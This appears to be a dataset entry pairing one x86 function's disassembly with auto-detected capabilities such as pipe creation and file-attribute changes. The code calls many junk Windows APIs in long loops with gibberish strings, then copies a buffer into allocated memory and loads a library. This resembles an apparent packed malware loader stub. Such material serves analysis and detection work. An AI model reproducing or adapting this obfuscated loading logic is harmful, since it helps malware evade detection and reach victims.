Function at 0x42ad80
Capabilities:
Create pipe
Get file attributes
Get file size
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc5c
mov eax, dword [0x432004]
xor eax, esp
mov dword [esp + 0xc58], eax
mov edx, dword [0x434438]
mov ecx, dword [0x807e34]
push ebx
push esi
push edi
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
cmp eax, 0x4db
jne 0x42adc0
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x42add4
mov dword [0x435238], edi
mov dword [0x43523c], esi
inc eax
cmp eax, 0x1180b56
jl 0x42adb3
mov dword [0x807e34], ecx
xor esi, esi
cmp esi, 0x55ad63
jne 0x42adf6
mov eax, dword [0x432c58]
mov dword [0x807f64], eax
cmp ecx, 0x3c
jne 0x42ae09
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [0x807e34]
inc esi
cmp esi, 0x4c8d0a1e
jl 0x42ade4
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
push str.gakuxecuked_hahisoyitubibijaruwomuxeri_kokipipuliwazikav_vovowipifucimuragak
call ebx
call edi
call edi
cmp esi, 0x16ea57
jg 0x42ae3c
inc esi
cmp esi, 0x9438f3
jl 0x42ae20
xor ebx, ebx
cmp dword [0x807e34], 0x2a
jne 0x42aee2
lea ecx, [esp + 0x14]
push ecx
push ebx
push ebx
push ebx
push ebx
mov dword [0x807e28], ebx
mov dword [0x807e2c], ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
xor eax, eax
push ebx
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
lea eax, [esp + 0x64]
push eax
push str.zeziweziculoy
lea ecx, [esp + 0x24]
push ecx
push ebx
xor edx, edx
push ebx
mov word [esp + 0x30], dx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push ebx
push str.sehelayabehifawiceco
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push ebx
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push ebx
push ebx
call sub.KERNEL32.dll_Process32First
push ebx
call fcn.0040113c
add esp, 4
cmp dword [0x807e34], 0x7c
jne 0x42af98
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemRealloc]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0x2e
lea eax, [esp + 0x34]
push ebx
push eax
mov dword [esp + 0x38], ebx
call fcn.00405e30
add esp, 0xc
push ebx
lea ecx, [esp + 0x30]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebx
push ebx
lea edx, [esp + 0x68]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push ebx
push ebx
push ebx
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov eax, dword [esp + 0x10]
push ebx
push eax
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push ebx
lea ecx, [esp + 0x464]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [0x807e34], 0x2d
jne 0x42af8f
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
call fcn.00401153
add esp, 4
mov edx, dword [0x807e34]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x807e34]
mov esi, eax
xor ecx, ecx
mov dword [0x807c7c], esi
cmp edx, ebx
jbe 0x42afe1
mov edi, dword [0x807f64]
mov al, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], al
cmp edx, 0x8d
jne 0x42afdc
mov dword [0x807c80], 0x17bc
inc ecx
cmp ecx, edx
jb 0x42afc0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0042aa80
call fcn.0042ad00
mov edi, dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
cmp dword [0x807e34], 0x41
jne 0x42b01a
push str.horamewupupixifurerehegowe
call edi
push 0
push 0
call ebx
cmp esi, 0xd4f9f
jne 0x42b027
call fcn.0042aa70
cmp dword [0x807e34], 0xc
jne 0x42b03b
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x234685
jl 0x42b004
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov dword [esp + 0x10], 0x1df6c9
mov ebx, 0x8e4e0198
lea ecx, [ecx]
cmp dword [0x807e34], 0x7c4
mov dword [0x807c84], ebx
jne 0x42b093
push 0
call esi
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x28]
push ecx
mov word [esp + 0x18], dx
mov word [esp + 0x1a], ax
mov edx, dword [esp + 0x18]
push edx
push eax
push eax
push eax
call edi
sub dword [esp + 0x10], 1
jne 0x42b060
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_AddAtomW]
xor esi, esi
lea eax, [esp + 0x2c]
push eax
push 0
call edi
lea ecx, [esp + 0x460]
push ecx
call ebx
cmp esi, 0x408e
jle 0x42b0cd
cmp dword [esp + 0x34], 0xf5bed7
jne 0x42b0d6
inc esi
cmp esi, 0x687ed2
jl 0x42b0a8
mov ecx, dword [esp + 0xc64]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret